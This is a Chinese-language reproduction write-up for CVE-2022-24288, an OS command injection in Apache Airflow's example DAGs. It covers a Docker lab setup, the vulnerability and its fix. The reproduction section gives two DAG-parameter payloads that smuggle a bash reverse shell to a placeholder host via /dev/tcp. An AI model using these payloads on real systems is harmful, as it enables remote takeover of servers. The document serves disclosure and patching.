zl程序教程

您现在的位置是:首页 >  系统

当前栏目

CVE-2022-24288:Apache Airflow OS命令注入漏洞

OSApache漏洞注入命令 2022 CVE Airflow
2023-06-13 09:12:26 时间

0x01 简介Apache Airflow是美国阿帕奇(Apache)基金会的一套用于创建、管理和监控工作流程的开源平台。该平台具有可扩展和动态监控等特点。0x02 漏洞概述Apache Airflow 存在操作系统命令注入漏洞,该漏洞的存在是由于某些示例dag中不正确的输入验证。远程未经身份验证的攻击者可利用该漏洞可以传递专门制作的HTTP请求,并在目标

0x01 简介

Apache Airflow是美国阿帕奇(Apache)基金会的一套用于创建、管理和监控工作流程的开源平台。该平台具有可扩展和动态监控等特点。

0x02 漏洞概述

Apache Airflow  存在操作系统命令注入漏洞,该漏洞的存在是由于某些示例dag中不正确的输入验证。远程未经身份验证的攻击者可利用该漏洞可以传递专门制作的HTTP请求,并在目标系统上执行任意操作系统命令。该漏洞允许远程攻击者可利用该漏洞在目标系统上执行任意shell命令。

0x03 影响版本

Apache Airflow < 2.2.4

0x04 环境搭建

使用docker搭建存在漏洞的系统版本

获取yaml文档

curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.2.3/docker-compose.yaml'

vim docker-compose.yaml

把这两个参数改成下面的,选择postgres的latest版本,privileged=true就是提升权限

image: postgres:latest

privileged: true(没有就加一个)

然后wq保存

在这里你用docker-compose config -q会有一个警告的,为了不报这个警告官网也推荐了以下这个方式

mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env

直接执行即可

初始化

docker-compose up airflow-init

docker-compose后台启动airflow

docker-compose -f docker-compose.yaml up -d

启动完成,浏览器打开ip:8080端口

用户名:airflow

密码:airflow

登陆,环境搭建完成

0x05 漏洞复现

参考漏洞提交者的文章

https://hackerone.com/reports/1492896

两处RCE均为后台漏洞(需要配合未授权或者默认口令漏洞进行利用)

第一处:

开启监听

反弹shell

{"foo":"\";bash -i >& /dev/tcp/xx.xx.xx.xx/8881 0>&1;\""}

反弹成功

第二处:

开启监听

{"my_param":"\";bash -i >& /dev/tcp/xx.xx.xx.xx/8881 0>&1;\""}

反弹成功

0x06 修复方式

1、目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

http://seclists.org/oss-sec/2022/q1/160

2、删除或禁用默认DAG(可自行删除或在配置文件中禁用默认DAGload_examples=False)

原文由:Timeline Sec